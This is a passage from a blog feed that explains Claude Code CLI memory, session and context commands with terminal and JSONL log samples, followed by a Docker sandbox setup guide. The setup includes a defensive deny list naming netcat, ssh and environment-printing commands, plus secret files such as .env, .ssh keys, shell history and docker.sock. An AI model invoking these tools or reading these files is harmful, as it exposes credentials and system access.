    3. Open auto-memory folder
    4. Open code-improver agent memory  user scope

  Learn more: https://code.claude.com/docs/en/memory

Following options are available:

The points “User memory” and “Project memory” lead directly to the printed files.
When the auto-memory option is enabled, and memory files generated at ~/-claude/projects/<id>/memory/, the option "Open auto-memory folder” opens this directory.
The code-improver agent is a subagent invoked for refactoring code. Its user-scope file location is ~/.claude/agent‑memory/code‑improver/, and when invoking the fourth option, an editor for its memory file is opened.

Finally, the auto-dream feature was just added in claude code v2.1.92. It is a mechanism to reconcile fragmented memory files from user and project code, detects duplicate or contradicting entries, and cleans them up, the option toggle enables or disables this feature.

Conclusion

Claude Code is an agentic tool for working on complex code bases. It offers more than 40 commands. Understanding their functions, and the scope in which they should be applied, is essential for effective work. In this blog article, commands from the session and context management groups were explored. For session management, you learned a) to run a sub-agent that works on a plan file, b) ask an additional question during a session that does not disrupt the main task, c) list all background tasks, d) create subtrees in long conversation histories, e) rewind to earlier stages, f) stop the current session immediately and g) resuming where you left off. And for context management, you learned a) view a graphical representation of the current context, b) compact the context, reducing what is being send to the LLM provider, c) clear the current context, and d) viewing and editing memory files, from project to user and code-improver agent scope, keeping important learnings as a permanent context.

Claude Code CLI: Session & Context Management

Sebastian — Thu, 18 Jun 2026 06:02:40 +0000

Claude Code is an agentic tool that can execute commands on an installed computer. Its focus is coding, helping to implement programs from scratch, to add features, for bug fixing, and for refactoring of complex code bases.

In an ongoing blog series, I systematically explore the CLI, slash commands, and use cases. This article presents a grouped overview of all available commands, scoping the typical session lifecycle and helping you understand when to use which command.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com

Claude Code CLI: Slash Command Overview

🌀 Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
🌀 Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

From this list, groups marked with 🌀 are the focus of this article.

What are Claude Code Sessions?

Whenever the Claude Code CLI is invoked, a new session is created. On a high-level view, the user enters prompts, which are analyzed and processed to create internal tasks, such as checking/asking for permissions, suggesting and executing tools, and editing files. Each of these tasks is represented in the session history as a specific JSON document, with a unique type and attribute. Let’s investigate this in detail to learn about one part of Claude Code’s functionality.

Here is an example of starting a new session in my universal-skill-converter project.

> claude

─── Claude Code v2.1.91 ────────────────────────────────────────────────╮
│                                       │ Tips for getting started      │
│            Welcome back!              │ Run /init to create a CLAUDE… │
│                                       │ ───────────────────────────── │
│               ▐▛███▜▌                 │ Recent activity               │
│              ▝▜█████▛▘                │ 1h ago   Parse @README.md     │
│                ▘▘ ▝▝                  │ 22h ago  Explain @Dockerfile  │
│                                       │ 22h ago  Explain the file @D… │
│  claude-haiku-4.5 · API Usage Billing │ /resume for more              │
│             /opt/claude               │                               │
╰───────────────────────────────────────────────────────────────────────╯
❯ Parse @README.md
  ⎿  Read README.md (4 lines)

● I'll parse the README.md file for you.
  Read 1 file (ctrl+o to expand)

● Based on the README.md file, here's what I found:
  README.md Analysis

  The README.md file contains minimal content:
  # universal-skill-converter

  Summary:
  - The file contains only a title: "universal-skill-converter"
  - There are no additional descriptions, instructions, or content
  - The file appears to be essentially empty except for the project title

  This suggests the project is either in early stages or the README hasn't been populated with detailed
  information yet.

Resume this session with:
claude --resume 67614647-7351-408e-88b8-2846dc62b860

See the output when quitting the session – this is the session name. Let’s take a look at where it is stored in your local ~/.claude directory.

Note: I’m using the claude-code-container from my previous article.

find "${HOME}/.claude" -type f -name *2846dc62b860* | head -5

# Log output
/home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl

As can be seen, the complete session transcript is stored in the directory ~/.claude/projects/-opt-claude. The base name of this string is the current working directory, which defaults to /opt/claude when using my container image. This file is a JSON document containing all interactions. Let’s take a look at the first items:

cat /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq | head -15

# Log messages
{
  "type": "permission-mode",
  "permissionMode": "default",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860"
}
{
  "type": "file-history-snapshot",
  "messageId": "1ce9315d-d77c-4f52-8e8a-bf22db5d9139",
  "snapshot": {
    "messageId": "1ce9315d-d77c-4f52-8e8a-bf22db5d9139",
    "trackedFileBackups": {},
    "timestamp": "2026-04-04T09:37:47.285Z"
  },
  "isSnapshotUpdate": false
}

Items have a type argument. The first messages in the session log represent system messages. Let’s see the other types, and narrow it down to the entered user message.

cat /home/node/.claude/projects/-opt-claude/67614647-7351-408e-88b8-2846dc62b860.jsonl | jq -r '.type' | sort

# Log output
permission-mode
file-history-snapshot
user
user
user
file-history-snapshot
user
assistant
assistant
user
assistant
last-prompt
permission-mode
custom-title
agent-name
system
system
custom-title
agent-name
permission-mode

Let’s see the user message for the first prompt. It contains a set of metadata about the session’s context (parentUuid, promptId, uuid), invocation and version information (version, entrypoint,cwd), and the message itself (message.role, message.content).

{
  "parentUuid": "8d64d2af-615d-4cfe-8843-273de873d9da",
  "isSidechain": false,
  "promptId": "97fe3efe-e395-41b9-96aa-34497e529ca4",
  "type": "user",
  "message": {
    "role": "user",
    "content": "Parse @README.md"
  },
  "uuid": "cfab7717-ca08-45bf-9e0f-2241668efe23",
  "timestamp": "2026-04-04T09:38:00.929Z",
  "permissionMode": "default",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main"
}

The directly following system message contains the same context, invocation, and version information, but a structurally different message with message.type, message.role, message.model, and usage statistics.

{
  "parentUuid": "cfab7717-ca08-45bf-9e0f-2241668efe23",
  "isSidechain": false,
  "message": {
    "id": "msg_2026040417373648e22180f7914ce1",
    "type": "message",
    "role": "assistant",
    "model": "claude-sonnet-4.6",
    "content": [
      {
        "type": "text",
        "text": "I'll parse the README.md file for you.\n"
      }
    ],
    "stop_reason": null,
    "stop_sequence": null,
    "usage": {
      "input_tokens": 0,
      "output_tokens": 0
    }
  },
  "type": "assistant",
  "uuid": "9b4b857e-3a25-4b03-b20b-da76f5677c77",
  "timestamp": "2026-04-04T09:38:09.698Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main",
  "slug": "hashed-enchanting-ritchie"
}

And finally, the directly following tool invocation. It reveals the fields message.content.type, message.content.name, message.content.input.file_path. And at message.usage, statistics about the LLM invocation, which parsed the file content and formulated an answer, can be found.

{
  "parentUuid": "9b4b857e-3a25-4b03-b20b-da76f5677c77",
  "isSidechain": false,
  "message": {
    "id": "msg_2026040417373648e22180f7914ce1",
    "type": "message",
    "role": "assistant",
    "model": "claude-sonnet-4.6",
    "content": [
      {
        "type": "tool_use",
        "id": "call_enqown30a3q",
        "name": "Read",
        "input": {
          "file_path": "/opt/claude/README.md"
        }
      }
    ],
    "stop_reason": "tool_use",
    "stop_sequence": null,
    "usage": {
      "input_tokens": 34459,
      "cache_creation_input_tokens": 0,
      "cache_read_input_tokens": 838,
      "output_tokens": 53,
      "server_tool_use": {
        "web_search_requests": 0,
        "web_fetch_requests": 0
      },
      "service_tier": "standard",
      "cache_creation": {
        "ephemeral_1h_input_tokens": 0,
        "ephemeral_5m_input_tokens": 0
      },
      "inference_geo": "",
      "iterations": [],
      "speed": "standard"
    }
  },
  "type": "assistant",
  "uuid": "2da6dc71-8c0c-486a-9593-b04e0674a795",
  "timestamp": "2026-04-04T09:38:09.698Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude",
  "sessionId": "67614647-7351-408e-88b8-2846dc62b860",
  "version": "2.1.91",
  "gitBranch": "main",
  "slug": "hashed-enchanting-ritchie"
}

These interaction types are at the heart of Claude’s agentic loop. Each prompt you provide gets analyzed, injected into pre-defined system prompts, sent to an LLM, which then provides assistant, tool-run, and tool-execution commands.

With this understanding, let's continue with investigating the session commands.

Session Configuration

`/add-dir`

Once the Claude session starts, it is bound to the current working directory. This command adds additional directories, and Claude will access and utilize tools in the other directory too.

──────────────────────
❯ /add-dir /opt/spa
──────────────────────
  spac/     directory

...
Add directory to workspace

    /opt/spac

    Claude Code will be able to read files in this directory and make edits when
    auto-accept edits is on.

  ❯ 1. Yes, for this session
    2. Yes, and remember this directory
    3. No

`/rename`

Sessions are created with a generic name. This command provides a memorable name.

❯ /rename universal-skill-converter-refinement
  ⎿  Session renamed to: universal-skill-converter-refinement

─────────────────────────────── universal-skill-converter-refinement ──
❯
─────────────────────────────────────────────────────────────────

`/model`

Model capacities drive the quality of work results. Anthropic distinguishes three different model levels that scale with code complexity: Opus, Sonnet, and Haiku.

The /model command allows manual selection, which you should use on a per-task level. Here is the dialog.

/model
────────────────────────
 Select model
  Switch between Claude models. Applies to this session and future Claude Code
   sessions. For other/previous model names, specify with --model.

  ❯ 1. Default (recommended)  Use the default model (currentlyclaude-sonnet-4.6) ·
                              $3/$15 per Mtok
    2. Sonnet (1M context)    Sonnet 4.6 for long sessions · $3/$15 per Mtok
    3. Opus (1M context)      Opus 4.6 with 1M context · Most capable for
                              complex work
    4. Haiku ✔                Haiku 4.5 · Fastest for quick answers · $1/$5 per
                              Mtok

`/effort`

When LLM models with thinking capabilities are invoked, they will work on a prompt self-reflectively, analyzing and checking their own output before formulating a response to the user. This amount of "thinking" can be controlled by the effort parameter with four values: max, high, medium, low. The default value in Claude is medium, recommended for balancing speed, cost, and task quality, which can be observed by fewer absolute tool calls than on other effort levels.

Here is an example of changing the parameter.

─────────────────────────────────────
❯ /effort  [low|medium|high|max|auto]
─────────────────────────────────────

`/login`

To use an Anthropic account as an LLM provider, either direct API invocation,
called console account, or a subscription plan with rolling 5-hour/weekly/monthly token budgets, can be used.

The login command authenticates the current session with one of these options. Select one of the options, then an authorization request to Anthropic is shown. Open the link in your browser, then paste the auth code. Once completed, credentials are persisted in ~/.claude/settings.json, and do not need to be entered when starting the next session.

❯ /login
 Select login method:

 ❯ 1. Claude account with subscription · Pro, Max, Team, or Enterprise

   2. Anthropic Console account · API usage billing

   3. 3rd-party platform · Amazon Bedrock, Microsoft Foundry, or Vertex AI

`/logout`

When using an Anthropic subscription, session credentials are persisted in the ~/.claude/settings.json file. This command revokes the credentials at the Anthropic CLI, removes the credentials from the file, and terminates the session.

❯ /logout
Successfully logged out from your Anthropic account.

Session Reflection

`/cost`

During a long session, lots of tokens will be exchanged between your computer and an LLM provider. This command calculates the total amount of costs, but that’s opinionated toward using an API subscription model with Anthropic. For all other providers, you can add token costs in the manual model definition, and then get an estimate of the incurred costs.

/cost
  ⎿  Total cost:            $0.79
     Total duration (API):  1m 48s
     Total duration (wall): 6m 29s
     Total code changes:    151 lines added, 0 lines removed
     Usage by model:
             claude-haiku-4.5:  51.6k input, 3.1k output, 904.8k cache read, 0 cache
      write ($0.79)

`/usage`

When using Claude Code with an Anthropic subscription plan, this command shows how much of the rolling 5-hour and weekly usage limits is depleted.

This command was removed in v2.1.91, but for completeness, here is an example of its output.

/usage

Plan: Claude Max 5x (subscription)

Current 5-hour window
  Used:       18,400 tokens (23%)
  Remaining:  61,600 tokens (77%)
  Resets in:  2h 12m

Weekly usage
  All models:   38% used (resets Thu 04:00)
  Opus only:     4% used
  Sonnet only:   2% used

Rate limit status: OK (within all limits)
Extra usage:       Disabled

When you use a custom model definition, these models are mapped according to the environment variables "ANTHROPIC_DEFAULT_HAIKU_MODEL",  "ANTHROPIC_DEFAULT_SONNET_MODEL", and "ANTHROPIC_DEFAULT_OPUS_MODEL".

`/status`

Gain a quick overview about the CLI version, selected model, and other account information.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

Version: 2.1.91
  Session name: universal-skill-converter-refinement
  Session ID: 9bd58391-93ff-4c59-8d64-31d652281c14
  cwd: /opt/claude/universal-skills-converter/universal-skill-converter
  Auth token: ANTHROPIC_AUTH_TOKEN
  Anthropic base URL: https://api.z.ai/api/anthropic

  Model: claude-sonnet-4.6 (claude-sonnet-4.6)
  Setting sources: User settings, Enterprise managed settings (file)

  System Diagnostics
   ⚠ No write permissions for auto-updates (requires sudo)
``

Show essential CLI, model, and account information

And the config tab.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              true
    Show tips                                 true
    Reduce motion                             false
    Thinking mode                             true
    Fast mode (Opus 4.6 only)                 false
    Rewind code (checkpoints)                 true
    Terminal progress bar                     true
    Show turn duration                        true
    Default permission mode                   Default
    Respect .gitignore in file picker         true
    Always copy full response (skip /copy     false
  picker)
    Auto-update channel                (CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAF
                                       FIC set)

    Theme                                     Dark mode
    Notifications                             Auto
    Language                                  Default (English)
    Editor mode                               normal
    Show PR status footer                     true
    Model                                     sonnet[1m]

`/stats`

Every interaction with Claude is logged inside the ./claude directory, with a path-prefix of the current working directory, and session files in JSONL format. These files contain timestamps, and can be used to create a visual representation of usage patterns.

Here are my current stats:

─────────────────────────────────────────────────────────────────
      Overview   Models

        Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
        ···············································█▓·▒▒
    Mon ··················································▒
        ···················································
    Wed ················································░··
        ················································▒··
    Fri ················································█▓▓
        ··············································██░▓░

        Less ░ ▒ ▓ █ More

    All time · Last 7 days · Last 30 days

    Favorite model:claude-haiku-4.5     Total tokens: 4.7m

    Sessions: 52                    Longest session: 20h 28m 13s
    Active days: 15/30              Longest streak: 4 days
    Most active day: Mar 8          Current streak: 3 days

    Your longest session is ~6x longer than watching Titanic

And the models tab:

 ─────────────────────────────────────────────────────────────────
      Overview   Models


    Tokens per Day
      861k ┼──╮
      753k ┤  │
      646k ┤  ╰──╮
      538k ┤     │
      430k ┤     ╰──╮              ╭──╮     ╭──╮
      323k ┤     ╭──╮              │  │  ╭──╯  │
      215k ┤  ╭──╯  │              │  ╰──╯     │
      108k ┼──╯     │─────╮  ╭─────╮        ╭──│  ╭──
         0 ┼────────╰────────╯─────╰─────────────────
            Mar 7       Mar 18      Mar 28      Apr 4
    ●claude-haiku-4.5 · ●claude-sonnet-4.6 · ●claude-opus-4.6

    All time · Last 7 days · Last 30 days

    ●claude-haiku-4.5 (51.4%)                 ●claude-opus-4.6 (19.3%)
      In: 2.1m · Out: 350.9k                In: 720.4k · Out: 187.2k
    ●claude-sonnet-4.6 (29.3%)
      In: 1.3m · Out: 47.9k

`/config`

The many settings of Claude Code can be scattered along configuration files. This command allows a top-level overview about all defined settings for a particular session context. It also allows you to edit these settings, which will be persisted in the local .claude folder, the scope which overrides all other settings except managed ones.

As seen in other dialogues too, this one renders vertical tabs, starting with the "Config" section.

─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats


  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              true
    Show tips                                 true
    Reduce motion                             false
    Thinking mode                             true
    Rewind code (checkpoints)                 true
    Verbose output                            false
    Terminal progress bar                     true
    Show turn duration                        true
    Default permission mode                   Default
    Respect .gitignore in file picker         true
    Always copy full response (skip /copy     false
  picker)
    Auto-update channel                       latest
    Theme                                     Dark mode
    Notifications                             Auto
    Output style                              default
    Language                                  Default (English)
    Editor mode                               normal
    Show PR status footer                     true
    Model                                     claude-haiku4.5
    Auto-connect to IDE (external terminal)   false
  ↓ 1 more below

  Type to filter · Enter/↓ to select · ↑ to tabs · Esc to clear

The remaining two tabs are just aliases for the /usage and /stats commands.

/update-config

This command triggers an internal skill in which you can instruct a cinfig change.

Here is an example output when modifying the thinking mode.

/update-config Configure the thinking mode.

∴ Thinking…

  The user wants to configure thinking mode. According to the update-config skill, thinking mode is configured using alwaysThinkingEnabled (a simple
  setting that can use the Config tool).

  Let me clarify what they want to configure since "thinking mode" could mean:

- Enable/disable thinking (alwaysThinkingEnabled: true or false)

─────────────────────────────────────────────────────────────────
 ☐ Thinking

Would you like to enable or disable thinking mode?

❯ 1. Enabled
     Always show thinking process (default for Haiku)
  2. Disabled
     Disable extended thinking
  3. Type something.
─────────────────────────────────────────────────────────────────
  4. Chat about this

Enter to select · ↑/↓ to navigate · Esc to cancel

`/export`

The complete conversation log is serialized into JSONL files. User prompts, and the LLMs answers, are rendered in plain text in the terminal. And this representation can be exported into the clipboard or a file.

Here is an example export during working on my skill-converter project.

╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips for getting started         │
│               Welcome back!               │ Run /init to create a CLAUDE.md… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│     claude-haiku-4.5 · API Usage Billing  │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

❯ /rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

❯ Refactor this app to python. Write the plan file "refactor-to-python.md"

● I'll help you refactor this app to Python. Let me start by exploring the
  codebase to understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for
  refactoring to Python.

● Updated plan
  ⎿  /plan to preview

● I've created a comprehensive refactoring plan. Let me confirm a few key design
   choices with you:

● User answered Claude's questions:
  ⎿  · Which Python CLI framework should I use? → Click
     · Should I keep the same package structure and CLI command names? → Yes,
     identical
     · What test coverage target should I aim for? → >70%
     · Should I use async/await for file operations? → Sync (blocking)

● Updated plan
  ⎿  /plan to preview
...

❯ /export
  ⎿  Conversation copied to clipboard

`/insights`

All Claude Code interactions are stored in the ~./claude directory, which includes projects, sessions, and all prompts. This command checks all this data to provide a thorough analysis of how you use Claude in the form of an HTML document. It includes a summary of the projects you worked on, your style of interacting with Claude, statistics about session time and duration, and several helpful prompt additions to be put into the CLAUDE.md file. Finally, usage patterns are condensed into skill and hook suggestions.

Here are screenshots of my interactions:

Conclusion

When the Claude Code CLI starts, a new session is created. Sessions are the core context of any interactions, and were covered extensively in this blog article. You gained a general overview about sessions, including the directory layout, JSONL files containing a trace of user, assistant, and tools calls, and the different types of entries in these files. These structures form the backbone commands about session configuration and session reflection. For session configuration, you learned about a) adding additional working directories, b) how to rename a session, c) selecting the LLM to be used in the current session, d) controlling the amount of tokens spent on "thinking", d) how to perform login and e) logout of an Anthropic subscription. For session reflection, you saw how to a) estimate costs, b) track token consumption, c) see all applicable configuration items, d) see statistics about your Claude Code sessions, e) get an editable text-overview about all currently active settings, f) instruct a config change, g) export user prompts and LLM answers, and h) gain valuable insights and improvements to using Claude Code, including additional sections to be inserted into CLAUDE.md, as well as skills and hooks for frequent changes.

Claude Code: Installation & Setup of the Agentic Coding Tool

Sebastian — Mon, 08 Jun 2026 05:01:30 +0000

In 2024, the evolution of Large Language Models and their utilization in software applications and webpage interfaces started. The GPT-4 model from OpenAI showed unparalleled capabilities for text generation and information assembly. In 2026, two trends merged: The continued evolution of model complexity and capabilities, as well as sophisticated frameworks and libraries that greatly enhanced agentic capabilities of LLM invocation.

Using LLMs as agents once was effectively a continued human-in-the-loop invocation where function calls needed to be monitored and corrected. But now, truly autonomous agents evolved. They apply function calling and function execution precisely, analyze errors and apply solutions when needed. They can fully interact with files and sockets on a computer, making autonomous code generation and even system operations a reality.

On the forefront of agentic tools is the CLI tool Claude Code. It promises and delivers excellent code generation capabilities, supporting developers of all maturity levels with increased productivity.

This article starts a new blog series about agentic tools, and starts with exploring the Claude Code CLI systematically. The particular focus for this article is the installation and initial configuration of Claude Code. Learn how to use a Docker container as a safe sandbox with fine-grained permissions and access only to files that you will work on.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

Every character, number, and symbol in this article was typed manually - with the addition of verbose copies from log messages and screenshots. While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill.

This article originally appeared at my blog admantium.com.

Docker Container Setup

Claude Code is an agentic tool with full support for creating, editing, and deleting any files on a computer or laptop. It can be installed natively via an install script, which essentially copies a platform-specific binary and required libraries, or as an NPM packages and its requirements.

To prevent accidental file modifications on your main computer, I recommend to setup a Docker image and start a Docker container that mounts your specific directories.

Directory Structure

Setup the following directory and file structure:

.
├── Dockerfile
├── build
│   ├── managed-settings.json

Dockerfile

The Docker image has these features:

Based on the official NodeJS LTS image
Installs claude-code as an NPM package
Copies default security permissions
Runs as a non-root user that can become root with a dedicated password

Here is the file:

FROM node:24-trixie

WORKDIR /opt/claude

RUN apt-get update \
  && apt-get install --no-install-recommends --yes \
    bubblewrap \
    nano \
    socat \
    sudo \
    vim \
  && rm -rf /var/lib/apt/lists/*

RUN npm install -g @anthropic-ai/claude-code@2.1.91 \
  && mkdir -p /etc/claude-code

ARG SUDO_PASSWORD
RUN echo "node:${SUDO_PASSWORD}" | chpasswd
RUN usermod -aG sudo node

COPY build/ /etc/claude-code/

ENV PATH="/home/node/.local/bin:${PATH}"
USER node
CMD ["sleep", "infinity"]

Use this Dockerfile as a staging point. If you are developing a Python, Go, or Rust project, add the required libraries and base tools to this file.

Permissions

When Claude Code starts, a permission dialog for the current folder is opened. By confirming this, read access to all files in this folder is provided. From there on, all tool invocations, from bash commands to binaries, need to be approved too. Certain commands can accidently expose files that contains secrets, run commands that print environment variables, or access network and Docker sockets.

To prevent this access, a permission file can be used. This file should be placed at an OS specific directory so that it provides global rules for all Claude Code sessions. In a Linux environment, the permission file should be placed at the location /etc/claude-code/managed-settings.json.

Paste the following content to prevent accidental exposure of common secrets, and reduce model invocation calls for telemetry.

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "allow_remote_sessions": false,
  "attribution": {
    "commit": "",
    "pr": ""
  },
  "env": {
    "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1"
  },
  "permissions": {
    "deny": [
      "Bash(env*)",
      "Bash(netstat*)",
      "Bash(printenv*)",
      "Bash(ssh*)",
      "Bash(ss*)",
      "Bash(nc*)",
      "Bash(ncat*)",
      "Bash(netcat*)",
      "Read(**/.env*)",
      "Read(**/.git-credentials*)",
      "Read(**/.gitconfig*)",
      "Grep(**/.env*)",
      "Grep(**/.git-credentials*)",
      "Grep(**/.gitconfig*)",
      "Read(**/.bashrc*)",
      "Read(**/.zshrc*)",
      "Grep(**/.bashrc*)",
      "Grep(**/.zshrc*)",
      "Read(**/.bash_history*)",
      "Read(**/.zsh_history*)",
      "Grep(**/.bash_history*)",
      "Grep(**/.zsh_history*)",
      "Read(**/.ssh/**)",
      "Grep(**/.ssh/**)",
      "Read(/proc/**)",
      "Read(/proc*)",
      "Grep(/proc/**)",
      "Grep(/proc*)",
      "Read(**/*.sock)",
      "Grep(**/*.sock)",
      "Read(/run/docker.sock)",
      "Read(/var/run/docker.sock)"
    ]
  }
}

Building the Container

Build the container with the following command. A random password will be created for the default user node in order to prevent unobserved privilege escalation:

 docker build . \
  --build-arg SUDO_PASSWORD=$(LC_CTYPE=C tr -cd '[:alnum:]' </dev/urandom | head -c 10) \
  --tag claude-code-local:2.1.91

Take a good look at the build log, it reveals the generated password. Note it down.

Docker Container Usage

Starting the Container

When the Docker image is built, you can start it with the preferred mount directory as follows:

docker run --rm \
  --mount type=bind,src=./,dst=/opt/claude \
  --detach \
  --name claude-code-local \
  claude-code-local:2.1.91

Claude code persists session, memory, and global settings in the local ~/.claude directory. If you wish to keep these settings, you need to create and mount this directory to the container.

In a local terminal:

mkdir -p ~/.claude/

Then, start the container with the additional mount. If you have the container still running, you need to stop it first with docker stop claude-code-local

docker run --rm \
  --mount type=bind,src=./,dst=/opt/claude \
  --mount type=bind,src="${HOME}/.claude",dst=/home/node/.claude \
  --detach \
  --name claude-code-local \
  claude-code-local:2.1.91

Starting a Claude Code session

Model Configuration

During the first startup of the container, you need to authenticate with an LLM provider. In addition to using an Anthropic account, LLM routers such as openrouter or litellm can be used to gain access to any LLM provider, including Azure, Google, Ollama, and others.

You can also use your GitHub Co-Pilot subscription - which is shown here. Run the following command to exec into the container:

docker exec -it claude-code-local bash

Then, install and run the helper library copilot-api.

npx copilot-api@latest start --proxy-env
Need to install the following packages:
copilot-api@0.7.0
Ok to proceed? (y) y
ℹ Using VSCode version: 1.113.0
ℹ Not logged in, getting new access token
ℹ Please enter the code "9A4A-9DB1" in https://github.com/login/device

Open the link, login with your GitHub credentials, and paste the OTP code. Shortly afterwards, you should see which LLM models are selectable for your session.

Available models:
- claude-opus-4.6-fast
- claude-opus-4.6
- claude-sonnet-4.6
- gemini-3.1-pro-preview
- goldeneye-free-auto
- gpt-5.2-codex
- gpt-5.4
- raptor-mini-tertiary
- gpt-5-mini
- gpt-4o-mini-2024-07-18
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- grok-code-fast-1
- text-embedding-3-small
- text-embedding-3-small-inference
- claude-haiku-4.5
- gpt-4.1-2025-04-14
- oswe-vscode-prime
- oswe-vscode-secondary
- gpt-41-copilot
- gpt-3.5-turbo-0613
- gpt-4
- gpt-4-0613
- gpt-4-0125-preview
- gpt-4o-2024-05-13
- gpt-4-o-preview
- gpt-4.1
- gpt-3.5-turbo
- gpt-4o-mini
- gpt-4
- gpt-4o
- gpt-4-o-preview
- text-embedding-ada-002

➜ Listening on: http://localhost:4141/ (all interfaces)

Finally, create ~/.claude/settings.json and paste the following content. Be sure to set a model mapping to your liking. Anthropics distinction into Haiku, Sonnet, and Opus needs to be mapped to available GitHub Co-Pilot models.

{
  "env": {
    "ANTHROPIC_BASE_URL": "http://localhost:4141",
    "ANTHROPIC_AUTH_TOKEN": "not-required",
    "ANTHROPIC_DEFAULT_OPUS_MODEL ": "claude-opus-4.6",
    "ANTHROPIC_DEFAULT_SONNET_MODEL ": "claude-sonnet-4.6",
    "ANTHROPIC_DEFAULT_HAIKU_MODEL": "claude-haiku-4.5",
  }
}

Session Start

And finally, you can start a Claude code session. Exec into the Docker container, which automatically jumps to the defined directory /opt/claude with your mounted project.

claude

The opening dialog starts ...

And once confirmed, you can start your session.

Conclusion

Claude Code is one of the most prominent agentic tools for code generation. This article starts a new series to systematically explore its CLI tools, slash commands, and use-cases. You learned how to setup a Claude Code in a Docker container, which provides a sandboxed environment into which you mount specific local directories. You saw the Dockerfile, a managed settings permission files that restricts access to sensitive data and environments, and learned the commands to build, start, and use the Docker container. From the many options of LLM providers, GitHub CoPilot was chosen. The next article continues with the exploration of its CLI commands.

Hacking with Raspberry Pico: Data Exfiltration with a Captive Portal

Sebastian — Thu, 28 May 2026 04:46:34 +0000

The Raspberry Pico microcontroller is a stunning device that can be employed in several application areas, from reading sensor data, drawing pixels on a screen, and consuming APIs. Its small form factor, enough hardware power, and programmable behavior contribute equally. But did you know that the Pico can be used for hacking as well?

